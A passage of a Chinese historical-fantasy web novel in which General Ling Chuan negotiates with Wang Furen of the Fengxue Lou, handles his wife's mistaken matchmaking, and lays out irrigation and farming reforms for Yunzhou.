然而余生却摇了摇头,目光坚定:“不了,将军!军务要紧,我想即刻起程前往高平。等我把那边的事务初步理顺,扎下根基,再来找将军喝酒复命!” 随后,余生去后堂跟苏璃打了个招呼,便毅然起身告辞,从进府到离开,前后停留不过半个时辰。 凌川心中赞赏他的雷厉风行,亲手将上任文牒和校尉腰牌交到他手中,随后又让苍蝇牵来两匹神骏的甲等战马,一匹换下余生那匹略显疲惫的坐骑,自己则骑上另一匹,亲自将余生送出城。 路上,凌川又仔细叮嘱了一些需要注意的细节,特别是让他遇到难以决断之事,可多与邻近的松阳县校尉洛青云商议,互为援手。 对于余生的能力,凌川并不怀疑,但他毕竟此前没有独立统御一方的经验,首次独当一面,难免会遇到棘手难题。 但凌川相信,只要稍加磨砺,给予足够的信任和支持,这块璞玉定能绽放出耀眼的光彩,成长为一名堪当大任的将才。 城门口,余生于马背上抱拳,向凌川郑重拜别。 随即一拉缰绳,调转马头轻喝一声,骏马立刻撒开四蹄,沿着官道向着北方疾驰而去,扬起一路烟尘。 凌川勒马立于原地,久久注视着那道逐渐消失在远方尘土中的挺拔背影,心中感慨万千。 那个曾经在狼烽口的血火中有些惶恐却又内心坚韧的少年,终究是长大了,即将奔赴属于他的广阔天地。 返回将军府的途中,凌川没有骑马,而是信步牵着缰绳缓行,沿途街道上的行人、商贩见到他,纷纷热情地打招呼。 第一卷 第276章 你上次还叫人家夫人! “凌将军好!” “将军今日得闲啊?” 凌川也都微笑着点头回应,态度平和。 “凌将军真是和气,没一点架子,跟谁都是笑脸相迎!”有路人小声议论道。 “那可不一定嘞,你别忘了,前不久有多少家豪门恶霸被凌将军砍了脑袋,送去见阎王了!” “凌将军可是咱们百姓家走出去的孩子,肯定要为老百姓当家做主!对那些祸害,当然得用雷霆手段!” 人们看向凌川的眼神中,充满了敬重与爱戴,而非仅仅是畏惧权势。 回到将军府,凌川发现大门外停着一辆装饰精致却不失雅致的马车,车辕上刻着一个不易察觉的雪花纹样。他心中微微一动,大致已猜到来客是谁。 将缰绳递给迎上来的亲兵,凌川迈步走进府门,只见前院里,苍蝇身边多了一名怀抱长剑的黑衣男子。 男子约莫二十七八的年纪,面容冷峻,线条硬朗,一袭黑色劲装更衬得他身形挺拔如松。 他就那样沉默地站着,眼神锐利如鹰,周身散发着生人勿近的冰冷气息,即便看到凌川进来,眼神也毫无波动,依旧是一片拒人千里的漠然。 苍蝇则站在一旁,脸上带着几分看热闹的怪笑,挤眉弄眼。凌川自然知道这小子在偷笑什么,只是不动声色地瞪了苍蝇一眼,整了整衣衫,走向待客的正堂。 刚一踏入堂内,便见一道窈窕身影端坐在客位之上。 来人一袭流霞缎裁成的长裙,外罩一件月白色的轻纱广袖长衫,更添几分缥缈之气。她云鬓高绾,发间斜插一支赤金点翠步摇,缀下的细碎流苏随着她转头的动作轻轻摇曳,流光溢彩。 她并非那种极具侵略性的美艳,而是将清丽与妩媚巧妙地融合于一身,纯净与魅惑这两种截然不同的特质,在她身上达成了奇异的和谐,令人见之难忘。 来人正是王夫人。 此时的她,已不见那晚的悲戚与彷徨,再度恢复了往常的从容与优雅,只是眉宇间似乎比以往更深沉了几分。 “王姑娘大驾光临,凌某有失远迎,恕罪恕罪!”凌川笑着拱手走了进去,语气爽朗。 王夫人闻声转过头来,见到凌川,她唇角缓缓漾开一抹极浅淡却又极其动人的笑意,似春风吹皱一池碧水。 她并未起身,只是微微侧首,用一种略带娇嗔又恰到好处的语气柔声道:“两月不见,将军怎的如此生分了?上回见面,还唤人家一声夫人,怎的今日就变成了冷冰冰的王姑娘?” 她说话时,眼波似不经意地在凌川面上流转一圈,那眼神清澈明亮,却又像带着小钩子,能悄无声息地挠人心扉。 凌川被她这话问得略显尴尬,走到主位坐下,摸了摸鼻子。 尽管他知道夫人是对方的名讳,可每每称呼,总觉有些别扭,难免有些叫不出口。 “咳咳……”凌川用两声轻咳掩饰了一下微妙的气氛,笑着岔开话题,“夫人……今日怎么得空来我这座小庙了?”他还是选择了之前的称呼。 王夫人闻言,这才似乎满意了些许,纤纤玉指轻轻拂过茶几光滑的表面,动作优雅无比。 她转过脸,似笑非笑地看着凌川,语气带着几分玩笑的意味:“听将军这意思,似乎不怎么欢迎奴家前来叨扰啊?” “不敢不敢!”凌川连忙摆手,“夫人可是凌某请都请不来的贵客,蓬荜生辉,岂有不欢迎之理?”他说着,提起桌上的茶壶,为她斟了一杯茶,“我乃一介武夫,府中只有这些粗茶,可比不得风雪楼的香茗珍品,夫人莫要嫌弃!” 王夫人唇角噙着一抹若有若无的笑意,伸出纤长白皙、保养得极好的手,用指尖轻轻捻起那只普通的白瓷茶杯,动作却优雅得像在欣赏一件古玩珍宝。 她眼波微抬,瞥了凌川一眼,声音柔糯:“将军过谦了!这喝茶啊,有时也如饮酒,只要是与对的人同饮,即便是粗茶淡水,亦能品出别样滋味来!” 说完,她优雅地端起茶杯,送至那嫣红饱满的唇边,浅浅啜饮了一口。 姿态万千,眼神却始终带着一丝难以捉摸的意味,仿佛话中有话。 这话语间的暗示颇为微妙,凌川一时不知该如何接话,只得也端起茶杯喝了一口,掩饰瞬间的停顿。 “不知夫人今日光临,有何指教?”凌川决定还是直接切入正题。 王夫人见他略显局促,眼底笑意更深,也不再绕弯子,正色了几分说道:“从今往后,我便常驻云州了,与将军做邻居。这新来乍到,于情于理,自然该先来拜拜将军这座山头,免得日后行走,不懂规矩不是?” 听闻此言,凌川眉头几不可察地微微一皱。 果然,王夫人是要接手温砚秋的位置,出任风雪楼的云州分舵舵主。 这意味着,风雪楼在云州的势力,并未因温砚秋之事而撤离,反而以另一种形式更深地扎根下来。 “夫人说笑,能与夫人为邻,是凌某的荣幸。云州地界,夫人若有任何需要,尽管开口!”凌川笑着回应,场面话说得滴水不漏。 “我今日来,其实是想问将军一句……”王夫人看着他,目光变得专注了些,“先前你与我风雪楼谈定的那桩合作,如今可还作数?” 凌川略作沉吟,随即爽快应道:“自然作数!若是夫人没有异议,凌某自当履行先前约定!” 此前与温砚秋的约定是,风雪楼利用其渠道帮忙售卖白酒和棉布,从中抽取半成利润作为佣金,当时凌川就感觉对方答应得过于爽快,后来才知温砚秋是另有所图。按理说,王夫人接任之后,即便要继续合作,也断无可能再接受如此低廉的抽成才对。 果然,王夫人闻言,淡然一笑,那笑容明媚却又带着生意人特有的精明:“凌将军,咱们私交归私交,但这生意归生意。风雪楼上下那么多弟兄姐妹也要吃饭穿衣,只抽半成,怕是兄弟们真要喝西北风了……” “哈哈哈……”凌川朗声一笑,心知这才是正题,便顺着她的话说道,“既然夫人都亲自开口了,凌某若再坚持,倒显得不近人情了。这样,一成利润!夫人意下如何?这已是在下能给出的极限了,再高,我这酿造司和织造坊,可真就是白忙活,无利可图了!” 第一卷 第277章 天下人之天下! 王夫人臻首轻点,唇边笑意婉约,眼波流转间带着几分商贾的爽利与女子的娇俏:“既然将军一片赤诚,那奴家便却之不恭了,就依将军所言,一成!” 她再次端起那白瓷茶杯,纤指如玉,仪态优雅地浅啜一口,随即放下茶杯,目光盈盈望向凌川,语气中带着几分由衷的赞叹:“将军雷厉风行,仅用短短两月时间,便让这云州城翻天覆地,如此手段与魄力,着实令人钦佩!” 凌川却摇了摇头,眉宇间染上一丝沉重,叹息道:“夫人谬赞了,在下此举,实属无奈下的破釜沉舟。世家门阀尾大不掉,盘根错节,已成本朝顽疾。若再不施以猛药加以干预,任其蛀空根基,那这天下……就真的危如累卵,无可救药了!” 王夫人闻言,抬起那双清澈又仿佛能洞悉人心的明眸,凝视着他,轻声问道:“听将军此言,是认为……大周帝国气数未尽,尚有挽回之余地?” 凌川笑了笑,并未直接回答。如今执掌重兵,有些话,不便再如以往那般随心而言。 王夫人却似不愿放过这个话题,稍作停顿,声音压低了几分,继续说道:“上一位欲挽天倾、试图拯救这帝国的,乃是南疆主帅苏大将军,也就是将军您那位素未谋面的岳丈大人。其最终下场……想必将军您,也很清楚!” 这话是提醒,亦是告诫! 凌川迎着她的目光,反问道:“夫人为何就觉得,我凌某口中的天下,指的就一定是神都皇宫里,那一家一姓的江山?” “哦?”王夫人纤细的眉毛微微挑起,白皙的脸上露出恰到好处的诧异与好奇,“那将军心中的天下,所指为何?奴家愿闻其详!” 凌川的目光变得深邃而坚定,声音不高,却字字铿锵,掷地有声:“我只是希望这世上处处有朗朗书声,家家有相夫教子的女子,户户有安享晚年的老人……天下不应该是一家一姓之天下,而是天下人的天下!” 他顿了顿,语气愈发沉凝:“无论这龙椅上坐的是谁,这帝国由谁主宰,老百姓总得要活下去!若继续放任世家门阀无休止地压榨盘剥,敲骨吸髓,百姓何来活路?我所做一切,不过是想为这云州百姓,谋一条活路,觅一线生机!” 王夫人静静地听着,妩媚的眼神中闪过一丝真正的动容,她收敛了惯常的笑意,正色道:“将军心怀苍生,令小女子由衷佩服!”这番话,确实触及了她内心深处某些被掩藏的东西。 忽然间,一个大胆到近乎疯狂的念头不受控制地闯入她的脑海,连她自己都被这念头的骇人所震惊,连忙强行将其掐灭,不敢深想。 凌川并未察觉她瞬间的失神,话锋一转,目光变得锐利了几分:“在下冒昧问一句,温掌柜不惜以死相护的那位背后之人,究竟……是谁?” 王夫人神色微微一凝,她眼波微转,反问道:“以将军之睿智机敏,难道……真猜不到吗?” “陆沉锋!”凌川淡淡吐出三个字,语气平静无波。 其实,综合诸多线索,得出这个结论并不难,他只是想从王夫人这里得到一个确切的证实。 “他究竟是一个什么样的人?”凌川继续追问。 王夫人的笑容淡去,眼中掠过一丝极其复杂的情绪,忌惮、审视,或许还有一丝不易察觉的敬畏。 她红唇轻启,缓缓吐出评价:“他是一个很可怕的人。” 凌川神色微动,他记得,叶世珍对陆沉锋的评价是无趣、固执、严苛、几乎没有缺点。 而可怕这个词,从王夫人口中说出,分量截然不同。 凌川淡笑道:“能得夫人如此评价,想来此人定是非同凡响。” “若是平凡庸碌之辈,又怎么可能入得了姐姐的法眼,让她那般人物都心甘情愿,为之赴死?”王夫人轻叹一声,语气变得格外认真。 “姐姐临终前说,你赢不了他,那绝非是出于偏见或是怨怼,而是因为她深知,那个人,真的很恐怖……” “多谢夫人坦言相告,凌某记下了!”凌川郑重地点了点头。 就在这时,一道清丽的身影端着一壶新沏的热茶,出现在客厅门口。 “相公,客人来了这么久,茶都凉了,你也不晓得让人换一壶热的!”只见苏璃大大方方地走了进来,声音温婉,举止得体。 她将手中那壶香气袅袅的新茶轻轻放在桌上,替换掉那壶已冷的旧茶。 然而,她的目光却并未看凌川,而是自进门起,便带着一丝不易察觉的审视,落在了一旁姿容绝佳、气质非凡的王夫人身上。 凌川见状,心中顿时‘咯噔’一下,暗叫不妙。 要坏事! 王夫人是何等玲珑人物,立刻感受到那目光中微妙的意味。 她面带无可挑剔的盈盈笑意,优雅起身,对着苏璃款款行了一礼,声音柔美:“这位想必就是将军夫人了,妹妹当真是好生漂亮,气质如兰,真不愧是名门之后,将门虎女!” 她年龄确比苏璃略长一些,这一声妹妹原本是表示亲近客气,并无不妥。 然而,听在此刻心思敏锐的苏璃耳中,却生生品出了另一番意味,那是一种基于某种‘共同身份’的暗示。 “妹妹?”苏璃脸上的温婉笑容不变,但周身的气场却在刹那间发生了微妙的变化。 往日那种我见犹怜的柔弱感悄然褪去,一股属于将门之后的自信、强势与不容置疑的主权意识,在这一刻淋漓尽致地展现了出来。 她目光清澈而直接地看向王夫人,声音平稳却带着分量:“我怎么说也是相公的发妻,是这将军府名正言顺的女主人;即便相公要纳你为妾,或是娶你为平妻,论及先来后到,我怎么也是先进门的。妹妹你……于情于理,难道不该唤我一声姐姐吗?” 这话一出,凌川顿时觉得一个头两个大,额角几乎要冒出冷汗。 他正欲开口解释这纯属误会,王夫人却抢先一步,笑着开口了,语气依旧从容,仿佛并未听出苏璃话中的锋芒。 第一卷 第278章 相公该纳妾了! “妹妹怕是误会了……”王夫人巧笑嫣然,试图缓和气氛,“我与凌将军之间,并非……” 苏璃轻轻打断她的话,目光依旧直视着王夫人,语气不疾不徐,却带着一种正室夫人的笃定与大气,“妹妹不必解释,我方才在门外清楚听到相公唤你夫人,这岂能误会?” 听到这里,凌川哭笑不得,这还真不能怪苏璃多疑,换谁听到这样的称呼都会往那方面想。 苏璃微微停顿了一下,目光在王夫人美艳的脸上扫过,继续道:“妹妹生得如此天姿国色,我见犹怜,也难怪相公会心生喜爱。不过,妹妹也无需过多担心,我也并非那等心胸狭隘、不容人的妒妇。无论相公是想纳你为妾,还是娶你做平妻,将军府的大门都敞开欢迎,断不会委屈了妹妹……” 这一番话,说得是滴水不漏,既点明了自己不可动摇的正妻地位,又展现了主母的大度与容人之量。 归根结底,一切的前提都在于,她在乎凌川,故而愿意接受他可能带来的其他女子,但她的地位,必须得到绝对的尊重和承认。 面对苏璃这番当仁不让、绵里藏针的宣言,王夫人脸上的笑容依旧明媚,并未因这近乎直白的‘宣示主权’而显露出丝毫退却或尴尬。 她站在那里,姿态优雅,仿佛一株迎风摇曳的牡丹,看似娇柔,实则自有风骨。 “将军夫人!”她轻轻开口,声音依旧柔美,却悄然改变了称呼,语气中也多了一丝不易察觉的、属于风雪楼舵主的疏离与清冷,“您确实误会了,凌将军称我为夫人,乃是小女子的名讳,小女子姓王,名夫人!我与凌将军没有任何逾越之举!” 听到这话,苏璃顿时一愣,连忙将求证的目光看向凌川。 凌川见状,心中既是好笑又是心疼,连忙轻轻握住苏璃的手,温声道:“娘子确实是误会了!王夫人是风雪楼新任的云州舵主,今日前来,是为商谈狼血酒与棉布的售卖事宜!”他手指微微用力,传递着安抚的意味。 苏璃抬头看了凌川一眼,见他眼神坦荡,带着些许无奈的笑意。 苏璃这才意识到,自己竟是闹了个多大的乌龙,竟将对方的名字听成了称谓!那股刚才还萦绕周身的主母气势,顿时显得有些无处安放。 又瞥见王夫人那虽然恭敬却依旧从容的姿态,心中那点醋意和尴尬渐渐被一丝懊恼取代,她毕竟是大家闺秀,迅速调整了心态,脸上重新漾开得体大方的笑容,对着王夫人微微欠身: “原是如此……倒是我唐突了,闻弦音而知雅意,竟误会了王姑娘,还望姑娘勿要见怪!” 她巧妙地将称呼改回了‘王姑娘’,既化解了尴尬,也重新划清了界限,维持了自身女主人的仪态。 王夫人眼底闪过一丝不易察觉的欣赏,从善如流的笑道:“夫人言重了,是小女子这名字容易引人误会,岂敢怪罪夫人!” 一场因名字引发的微妙风波,看似在双方得体的应对下悄然化解。然而,空气中那若有若无的张力,以及两位绝色女子目光交汇时那一瞬的探究与较量,却仿佛余韵未绝。 凌川看着眼前这一幕,心中暗暗松了口气,却也知道,有些种子一旦种下,便难免会悄然生根。 果然,苏璃再度开口说道:“王姑娘如此美貌又贵为风雪楼舵主,与我家相公甚是般配,姑娘不妨考虑一下我刚才的提议,我还是那句话,无论相公是纳你为妾,还是娶你做平妻,将军府的大门都敞开欢迎!” 凌川:“……” 听闻此言,凌川只感觉脑袋嗡的一声响,如果说,方才苏璃因误会与对方争风吃醋实属正常反应,那么现在这个要求,就让凌川难以理解了。 反观王夫人,则是一脸淡然笑意,并无太多惊讶,似乎在她的认知里这就是再正常不过的事情。 王夫人端起茶杯,平静道:“小女子谢过夫人美意,奈何小女子福缘浅薄,自觉配不上将军,也配不上将军府!” “姑娘切莫妄自菲薄,我家夫君可不是那等浅薄之人,想当初我还是戴罪之身,他都不曾有半点嫌弃,更何况,将军府与风雪楼有生意往来,你我若成了姐妹,日后岂不是更方便?”苏璃继续‘撮合’道。 凌川坐在一旁尴尬得脚指头都要扣出一座仓库,恨不得马上逃离。 然,王夫人依旧摇头,说道:“夫人心意,小女子明白!但,早在多年前,小女子便已决定终身不嫁!” 不等苏璃再次开口,王夫人便起身对她款款行了一礼,说道:“愿夫人与将军恩爱百年,小女子告辞!” 说完,径直离去。 凌川正欲起身相送,忽觉不妥又坐了回去。 苏璃将其送至门外,只见那名执剑冷漠男子跟随王夫人的步伐,驾着马车离去。 返回客堂,苏璃的眼神中带着几分内疚与惶恐,问道:“相公,方才小璃是不是太小家子气了?” 凌川一脸愕然地看着她,小家子气? 你都当着我的面给我纳妾了,这还能叫小家子气? 纵使这个世界,此举并不算稀罕,可对于凌川来说,始终是难以接受。 “娘子哪里话,是我事先没跟你说清楚,才引发的误会!”凌川轻轻握着她的手,拉着她坐在自己的大腿上。 忽然,苏璃一脸认真地说道:“不过相公,这王夫人容貌倾城、能力过人,估计也只有相公这般无双天骄才能配得上她,若是相公能把她娶进门,定会如虎添翼!” “娘子可知她是何人?”凌川笑问道。 苏璃摇了摇头,问道:“风雪楼舵主啊,你刚才不是说了吗?” “那娘子知道风雪楼是什么背景吗?”凌川又问。 苏璃淡然一笑,道:“我虽不是江湖中人,但早年也曾听父兄提及过,风雪楼是与丹青府齐名的组织,势力强大到难以想象!所以我才说,相公娶她进门定会如虎添翼啊!” 第一卷 第279章 世家,曾经亦是百姓! 凌川神色微微一愣,没想到苏璃竟然知晓风雪楼的背景。 “她不仅是风雪楼舵主,更是卢帅的义女!”凌川补充道。 “那岂不更好!”苏璃笑道:“有卢帅这层关系,相公往后定能平步青云……” “她原本应该是卢帅的儿媳妇,只可惜,在二人成婚之前,卢骁战死边关……”凌川无奈,只能将其娓娓道来。 苏璃听后,眼神中浮现出深深的同情,说道:“想不到,她也是一位命运多舛之人……” 她也终于明白,为何王夫人刚才说,她早已决定终生不嫁。 沉默片刻后,苏璃忽然又翘起了樱桃小嘴,一副认真思索的模样:“看来,我还是得抽空去寻几位可靠的官媒,好好为相公物色几位家世清白、性情贤淑温婉的女子才是!” 凌川顿时哭笑不得,将她搂得更紧了些:“我的好娘子,你为何偏偏对此事如此执着?” “相公!”苏璃依偎在他怀里,声音带着娇嗔,“你如今是朝廷钦封的镇北将军,年纪轻轻便功成名就。我作为你的正妻,若不尽早张罗着为你纳几房合宜的妾室,延绵子嗣,打理内务,外人岂不是要议论我这个将军夫人善妒不懂事,失了妇德?” 凌川看着她认真的眼眸,心中满是无奈与怜惜,他深知,想要改变一个人内心根深蒂固的观念是何其困难。 或许在别人看起来,自己的那些思想才是真正的‘异类’。 …… 时光荏苒,如白驹过隙。 转眼间,距离那场席卷云州的雷霆动荡,已过去整整一月。 这一个月,刺史杨恪整个人肉眼可见地憔悴了许多,眼窝深陷,胡茬凌乱。 本就崇尚务实、不修边幅的他,此刻若非身上那件代表身份的官袍,简直与辛勤劳作的田间汉子无异。 万幸的是,在云州官员夜以继日的奔波操劳,以及各县官兵的配合下,云州诸县的善后事宜已基本尘埃落定。 老百姓家家户户都分到了赖以生存的田地,而且由于接手的是那些被查抄世家已经播种好的土地,他们只需稍加管理,不久之后便能迎来收成。 这一日,杨恪亲自来到将军府,除了形影不离的护卫林湛之外,他还特意带上了主管田亩户籍的司田参军嵇学真。 客堂之中,主宾落座。 凌川看着两人疲惫却带着些许轻松的神色,笑道:“二位大人,最近可真是辛苦你们了!” 杨恪端起茶杯,也顾不上什么仪态,大口喝了一半,才长出一口气:“确是忙得脚不沾地,但心中踏实,远胜过往日那般无所事事,惶惶度日!” “如今各县田地、粮食皆已分配到户,百姓安居,大人也总算是能稍稍喘口气了!”凌川说道。 然而,杨恪却摇了摇头,面色重新变得凝重起来:“我今日登门,主要为两件事。” 凌川正了正身形,示意道:“大人请讲!” 只见杨恪从宽大的袖袍中取出一本薄薄的册子,神色郑重地放到凌川面前的茶几上:“此物,请将军过目!” 凌川神色微凝,依言拿起册子打开。只见上面密密麻麻记录着的,是此次协助官府分发钱粮田地的云州军中,一部分人利用职权之便,暗中谋取私利的行为。 小到多占几分田地,几斗粮米,大到收受百姓‘好处’,或是优亲厚友,记录得颇为详细。 凌川一页页翻阅下去,脸色逐渐沉静。 册中涉及军士竟有二十余人,其中,甚至还包括好几名手握实权的标长。 此事,其实早在凌川预料之中。 水至清则无鱼,如此大规模的物资分发,面对巨大的诱惑,很难保证所有人都能恪守本心。这同样也是他最为担忧,却深知几乎无法完全避免的事情。 “并非只有军中官兵!”杨恪的声音低沉响起,“各州县衙的官吏,同样不在少数,情节或轻或重。我已依据律法,一一核查惩处。至于涉案的军中官兵,还需交由将军,依军法亲自定夺!”他的语气沉重,带着一种无奈的疲惫。 “有劳大人秉公处理!”凌川将册子轻轻合上,放回桌面,“我最担心的事情,终究还是发生了。” “人性如此,这种事情,根本无法完全避免!”杨恪摇了摇头,语气中充满了深深的无力感。 “是啊……”凌川轻叹一声,继续说道:“我们一直致力于铲除世家毒瘤,梦想着让天下百姓能自己当家做主。但我们或许忽略了,那些曾经显赫一时的世家,其先祖,最初又何尝不是起于微末的老百姓?” 他端起茶杯,抿了一口已经微凉的茶水,声音平静却带着穿透人心的力量:“纵观朝堂与官场,世家子弟把持权柄,他们固然结党营私,但大多生于富贵,长于锦绣,对钱财看得虽重,吃相却往往还讲究个体面,尚知些规矩。反观那些从寒门之中,历经千辛万苦,好不容易才挤进官场的寒门子弟……” 凌川顿了顿,语气愈发深沉:“一个自幼锦衣玉食的人,即便饥饿,大多也还顾及体统,知道吃相不能太难看。可一个真正饿极了的乞丐,骤然见到满桌珍馐美馔,你很难指望他还能保持风度,多半会不顾一切地扑上去大快朵颐,哪怕……最终会活活撑死自己!” “这些寒门子弟,一旦掌握权力,内心深处被压抑太久的欲望和匮乏,就像是一头恶魔,随着权利的增长和时间的推移,将他们的初心一点点蚕食殆尽。他们会觉得,自己拼尽全力才得到这一切,贪一点、拿一点又怎么了?天经地义!就算他本人能时刻警醒,铭记初心,洁身自好,可他身后那庞大的家族呢?那些曾助他寒窗苦读的父母宗亲,会不会索求无度?会不会在乡里仗着他的势欺压良善?会不会大肆敛财,最终……成为他们自己曾经最憎恨的那种豪门恶霸?” “面对这些生于斯、长于斯的不仁父母,有多少寒门贵子敢冒天下之大不韪,断然拒绝?曾经节衣缩食供他读书的兄长,如今开口索要百亩良田,他答不答应?与他相敬如宾的妻子,其娘家人作恶乡里,他能否铁面无私,亲手将其法办,从而与挚爱之人离心离德,同床异梦?” 第一卷 第280章 修水利,重农耕! 凌川说得很慢,声音也并不激昂,可每一个字都仿佛蕴含着千钧重量,一下下重重敲在杨恪与嵇学真的心口之上,震得二人心神摇曳,面色发白。 客堂之内,陷入一片长时间的死寂,唯有窗外隐约传来的风声,更衬得室内气氛凝重。 良久,凌川才缓缓总结道:“屠龙的少年,最终自身化为恶龙的故事,在史书上比比皆是,循环往复!” “说到底,铲除几个具体的世家门阀并不算最难,最难的是……我们该如何去对抗这深植于人性之中的贪婪。这才是真正关乎天下能否长治久安的,千古难题!” 杨恪与嵇学真对视一眼,皆从对方眼中看到了深深的震撼与沉重的思索。 凌川这一席话,远远超出了如何处理几个贪腐军吏的范畴,直指一个更为宏大、也更令人绝望的千古命题。 许久之后,凌川提起茶壶,为杨恪与嵇学真重新斟满了微凉的茶水。 “大人方才说有两件事,不知这第二件事是?” “哦!对对!”经他提醒,杨恪与嵇学真才从方才沉重的思绪中猛地回过神来,仿佛大梦初醒。 杨恪努力挤出一丝略显僵硬的微笑,显然心神尚未完全平复:“此前将军曾言,铲除盘踞地方的世家门阀,仅是第一步。如今,这一步虽艰难,总算勉强完成了!” “接下来该如何走,杨某特来向将军请教取经来了!”他的语气中带着谦逊与期盼。 凌川闻言,起身走到一侧巨大的书柜前,从中取出一沓厚厚的手稿。 这些纸张上密密麻麻画满了图样与注解,可见是花费了极大心血,他将手稿郑重地递给杨恪。 杨恪连忙双手接过,迫不及待地展开观看,坐在一旁的嵇学真也立刻凑近身子,两人头挨着头,神情专注地翻阅起来。 “再过两月便是秋收时节!”凌川在一旁解释道,“待粮食入库,农闲之时,大人便需立即动员各县官吏,首要之事,便是组织百姓大规模兴修水利!”他深知,北境之地,雨水不均,水源匮乏乃是制约农耕的最大瓶颈。 并非北境真正缺水,而是降水集中,且大量水资源深藏地下,以当下之技术,难以有效利用,导致土地灌溉不足,粮食产量低下,许多需水较多的作物更是无法种植。 手稿的前几页,详细绘制了多种水利设施的图样与施工要领。 有于河谷地带修筑的陂塘,用以蓄积夏秋雨水、山涧溪流,形似小型水库;有挖掘深沟构成的渠系网络,如何依地势高低规划走向,将陂塘之水引至田间。 甚至还有一种名为‘水窖’的奇特设计,于田间地头挖掘深窖,内壁以石灰混合黏土夯实防漏,专为收集储存春季消融的雪水及夏季雨水,以备关键农时灌溉之需。 图纸旁还细注了如何观察地势、植被寻找浅层水源的土法。 “这些水利之法,若能推行,可极大缓解春旱秋涝之忧!”凌川指点着图纸说道。 紧接着,凌川翻到后面关于农具的几张图纸:“与此同时,我会下令军械司,利用今冬明春的闲时,集中锻造一批改良农具。诸如曲辕犁、铁齿耙、耧车、镰刀等,皆采用新法打制,更坚韧耐用。待打造完毕,便一并交付大人,由官府按各地实际需求,登记造册,分发于民户使用!” 他又翻到一页画着各式耕牛管理流程的图示:“而大人这边,也需尽快统筹,将此次查抄以及各县大户缴出的耕牛统一登记,根据各乡里人丁、田亩多寡,或三家共用一头,或五户共得一牛,订立契约,明确养护之责。” “此后,所有耕牛所产之牛犊,养至一岁口后,须由官府作价收回,再行分配于无牛或牛力不足之户,如此循环,力求数年之内,使云州农户皆不乏牛力!” 杨恪与嵇学真二人听着凌川条理清晰、思虑周详的安排,看着手中详尽无比的图纸,不自觉地连连点头。 心中对这位年轻将军的钦佩之情,已然无以复加,这已远超一名武将的范畴,简直是精通农事、工巧、治国的全才! “以上诸项,水利、农具、耕牛……”凌川语气加重,“在来年春耕之前,务必完成大半!”他见二人因有了明确方向而稍稍松了口气,便微微一笑,道:“还没完!明年春耕本身,才是真正的重头戏。” 二人闻言,精神再次一振,屏息凝神,静待下文。 凌川将手稿翻至最后部分,那里绘制着详细的云州地图,并被不同颜色标注,旁边配以详细的文字说明。 “明年春耕,大人需发动各县能吏,依据此图……”凌川手指划过地图,“根据不同区域的水源条件、土壤肥瘠、向阳背阴等情状,规划种植不同的农作物,不可再如以往般胡乱播种,广种薄收。” 他详细解释道:“譬如,可在水源充足、地势低平、易于灌溉之地改土为田种植水稻;小麦耐寒,可多种于北坡或水位稍低之地;玉米不择地,但肥地高产,可安排于村舍附近的肥沃熟地;大豆耐瘠薄,可种于坡地、新垦之地,其根瘤更能肥田;高粱耐旱耐涝,可种于水情不稳之处或田边地头!” 凌川如数家珍,对每一种农作物的生长环境都极为了解,就算是农耕主管参军嵇学真都为之惊叹。 凌川顿了顿,声音压低了些,指向地图上几处特别标记的区域:“我欲在此数县,大力推广种植棉花。此物如今在我朝境内种植甚少,其绒絮御寒之能远胜麻絮,其布匹柔软耐磨,价值极高。然百姓不识其利,且初种之时,收获、纺织皆需学习。故可告知百姓,凡愿种植棉花者,其产出之籽棉,由我将军府按高于寻常粮食之价,统一收购,绝不让百姓吃亏!” 此言一出,杨恪与嵇学真眼睛顿时一亮。若棉花真有将军所说之利,这无疑是给云州百姓开辟了一条新的生财之道! 第一卷 第281章 蓝图渐显! “此外……”凌川继续道,内容越发精深,“我列举了几套方法。其一为‘间作套种’,譬如,可于玉米地中套种豆类,高低搭配,充分利用地方与阳光,一季下来,一亩地可当一亩半之用。其二,对于地力消耗较大的作物如小麦,需推行‘休耕轮作’之法,即耕种一至二年后,让土地休养生息一季,或轮种大豆等能恢复地力的作物,切忌年年榨取,致使地力耗尽!” “此外,需严防虫害。可命各县老农,于田间地头多挖设诱虫坑,内堆杂草,夜间以火光诱杀飞蛾。广泛推广以石灰水或草木灰水泼洒植株,防治常见害虫。若有条件,可鼓励农户多养鸡鸭,于农闲时放入田间,啄食地中虫卵与幼蛹。此乃生物防治之法,虽慢却效久。” 杨恪与嵇学真听得如痴如醉,这些闻所未闻的种植理念,虽听起来新奇甚至有些不可思议,但细细思之,却又蕴含着极深的智慧与道理,远超当下粗放的种植模式。 他们仿佛已经看到,若这一切真能实现,来年的云州大地,将会是怎样一派欣欣向荣的丰收景象! 而且,相对整个幅员辽阔的大周帝国而言,北境虽土地广袤肥沃,但受制于苦寒气候与落后的耕作方式,粮产始终不高。 以至于供养北境四十万边军的军粮,大多需从中原富庶之地千里迢迢运来。 不仅路途遥远,耗费巨大,更令人痛心的是,沿途转运的损耗竟达到了四成之多,更远的甚至达到了惊人的六成!无数民夫的血汗和粮食,就这样白白消耗在漫长的补给线上。 若凌川所提出的这一整套精耕细作、兴修水利、改良物种的方法得以全面推行,北境的粮食产量必将达到一个前所未有的惊人地步。 届时,仅凭北境七州之地,实现自给自足,甚至盈余反哺,养活四十万边军也绝非不可能的天方夜谭。 若真能实现这一目标,北系边军将彻底摆脱对朝廷粮饷的极度依赖,无需再仰人鼻息,更不必终日为军粮短缺而焦头烂额,其战略主动性与独立性将得到质的飞跃。 一支能自给自足的军队,其战斗意志和稳定性将是何等可怕! 只不过,眼下这一切都还只是绘制在图纸上的宏伟构想,是一个充满希望的雏形。也正因深知其意义之重大、实施之艰难,杨恪与嵇学真二人在激动之余,更觉肩头责任千钧,仿佛扛着的是北境未来的命脉。 他们一页页翻看着那详尽无比的水利图、农具改良图、作物分布规划图以及种种闻所未闻的种植法,脸上的震惊之色久久未能褪去,内心早已掀起滔天巨浪,竟一时说不出话来。 他们至今都难以想象,这些缜密如织、惠及万民的方略,竟是出自一位以征战沙场闻名的武将之手!这已远超一般的文治之功,所谓千古罕见的经天纬地、济世安邦之奇才,恐怕也莫过于此了。 他们心中甚至生出一种荒谬的好奇,究竟还有什么,是这位凌将军不知道、不精通的? “将军!”嵇学真终于按捺不住内心的震撼与好奇,声音带着一丝颤抖问道,“这些……这些精妙绝伦、思虑千秋的方略与构想,都是您一人想出来的?” 杨恪早已见识过凌川的‘套路’,闻言不由抚须,带着意味深长的笑意,抢先代为回答:“嵇大人不必惊讶,若我所料不差,凌将军定然会说,此乃他从某本失传已久的古籍中看来,不过是拾人牙慧,加以整理而已!” 